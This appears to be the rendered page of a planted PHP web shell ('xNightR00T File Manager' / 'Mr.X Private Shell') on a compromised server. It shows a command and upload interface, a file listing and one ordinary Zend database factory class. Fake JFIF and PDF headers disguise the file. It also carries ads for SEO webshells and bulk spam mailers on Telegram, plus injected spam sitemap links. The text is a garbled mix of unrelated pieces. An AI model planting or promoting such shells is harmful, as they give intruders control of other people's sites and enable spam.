xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application\Db;

use Zend\EventManager\EventsCapableInterface;
use Zend\ServiceManager\AbstractFactoryInterface;
use Application\ConfigAwareInterface;
use ZendServer\Log\Log;
use Zend\ServiceManager\ServiceManager;
use Zend\ServiceManager\ServiceLocatorInterface;
use Zend\EventManager\Event;
use Zend\EventManager\EventManager;
use Application\Module;

class AbstractFactoryConnector extends Connector implements AbstractFactoryInterface, ConfigAwareInterface
{
    /**
     * @var EventManager
     */
    private $eventsManager;

    /**
     * @var ServierManager
     */
    private $serviceManager;

    public function __construct()
    {
        $this->getEventManager()->attach('missingMetadata', array($this, 'recreateGuiDb'));
        $this->init();
    }

    public function init()
    {
        $namespaces = $this->getAwareNamespace();
        $config     = Module::config(current($namespaces));
        $this->setConfig($config);
    }

    /**
     * @param ServiceManager $serviceManager
     * @return AbstractFactoryConnector
     */
    public function setServiceManager(ServiceManager $serviceManager)
    {
        $this->serviceManager = $serviceManager;
        return $this;
    }
    /* (non-PHPdoc)
     * @see \Zend\ServiceManager\AbstractFactoryInterface::canCreateServiceWithName()
     */

    public function canCreateServiceWithName(ServiceLocatorInterface $serviceLocator, $name, $requestedName)
    {
        if (isset($this->dsns[strtolower($name)])) {
            return true;
        }
        return false;
    }
    /* (non-PHPdoc)
     * @see \Zend\ServiceManager\AbstractFactoryInterface::createServiceWithName()
     */

    public function createServiceWithName(ServiceLocatorInterface $serviceLocator, $name, $requestedName)
    {
        return $this->createDbAdapter($name);
    }

    /**
     * @param Event $event
     */
    public function recreateGuiDb(Event $event)
    {
        $adapter   = $event->getParam('adapter', null);
        Log::warn('gui db looks empty, attempt to rebuild');
        $creator   = new SqliteDbCreator($adapter);
        $creator->createGuiDb();
        Log::info('gui db rebuild completed');
        $bootstrap = $this->serviceManager->get('Bootstrap\Mapper\Reset');
        $bootstrap->resetBootstrap();
        return true;
    }
    /* (non-PHPdoc)
     * @see \Application\ConfigAwareInterface::getAwareNamespace()
     */

    public function getAwareNamespace()
    {
        return array('zend', 'database');
    }
    /* (non-PHPdoc)
     * @see \Application\ConfigAwareInterface::setConfig()
     */

    public function setConfig($config)
    {
        $this->dbConfig = $config->database;
    }
    /* (non-PHPdoc)
     * @see \Zend\EventManager\EventsCapableInterface::getEventManager()
     */

    public function getEventManager()
    {
        if (is_null($this->eventsManager)) {
            $this->eventsManager = new EventManager();
        }
        return $this->eventsManager;
    }

    public function __invoke(\Interop\Container\ContainerInterface $container, $requestedName,array $options = null)
    {
       return $this->createDbAdapter($requestedName);
    }

    public function canCreate(\Interop\Container\ContainerInterface $container, $requestedName): bool
    {
        if (isset($this->dsns[strtolower($requestedName)])) {
            return true;
        }
        return false;
    }
}

Filemanager

Name Type Size Permission Actions
Adapter Folder 0755
AbstractFactoryConnector.php File 3.34 KB 0644
Connector.php File 5.3 KB 0644
Creator.php File 18.32 KB 0644
DirectivesFileConnector.php File 1.02 KB 0644
MissingDbMetadataException.php File 471 B 0644
SqliteDbCreator.php File 1.53 KB 0644
TableGateway.php File 3.12 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml